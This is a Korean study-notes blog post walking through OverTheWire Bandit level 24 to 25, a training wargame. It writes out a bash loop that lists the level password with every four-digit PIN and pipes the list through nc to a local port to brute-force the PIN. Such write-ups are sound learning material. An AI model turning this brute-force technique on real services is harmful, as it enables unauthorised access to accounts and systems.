아임노드

[OverTheWire Bandit] Bandit Level 24 -> Level 25 문제풀이 (+brute-forcing) 본문

[SK shieldus Rookies 23기] 공부 노트/OverTheWire Bandit 문제풀이

[OverTheWire Bandit] Bandit Level 24 -> Level 25 문제풀이 (+brute-forcing)

Noody 2024. 12. 20.

OverTheWire Bandit

Level 24 -> Level 25

 

 

목표 : brute-forcing을 이용해 일치하는 PIN 번호 찾기

 

  • PIN 번호 생성을 위한 스크립트 작성
  • 일치하는 PIN번호를 대입하며 포트에 연결해보기

 

풀이 방법

 

1. bandit24 서버 접속

ssh bandit24@bandit.labs.overthewire.org -p 2220

 

 

2. 디렉토리 및 스크립트 파일 생성

먼저 임시 디렉토리 생성 후 접근 권한을 부여하고

스크립트 파일을 생성해보겠다.

mkdir /tmp/ban25
chmod 777 /tmp/ban25
touch bf.sh

 

이후 ls -al 생성 확인

 

 

3.생성한 .sh 파일을 열고 스크립트 작성

처음에 GPT에게 스크립트를 작성해달라고 했는데,

길고 복잡해서 이래저래 수정하다가 안되서 다른 글들을 참고해서 다시 간단하게 작성하였다.

(나중에 문제를 다 풀고나니까 GPT가 짜준 스크립트로도 변형해서 활용할 수 있을 것 같다.)

nano bf.sh   -> 파일 열기

[스크립트 내용]
#!/bin/bash

pass24={이전에 얻은 bandit24 패스워드 삽입}

for i in {0000..9999}
        do
                echo $pass24 $i >> passlist.txt
        done

pass24 = {이부분에 이전에 얻은 패스워드를 입력하면 된다}

( 중괄호 {}는 생략한다.)

 

스크립트 내용을 보면 for문을 돌면서 해당 결과값을 passlist.txt에 저장한다.

실행

./bf.sh

 

스크립트 실행 후 다시 ls -al로 확인하면 결과 파일인(passlist.txt)가 생성된 것을 알 수 있다.

 

 

4. 결과 파일을 활용해 포트 연결 시도

cat passlist.txt | nc localhost 30002

 

결과파일을 읽으면서 30002포트 연결을 for문이 도는 동안 실행하면,

일치하는 핀번호를 찾게 되면 Corret! 와 함께 다음 레벨의 패스워드를 반환한다.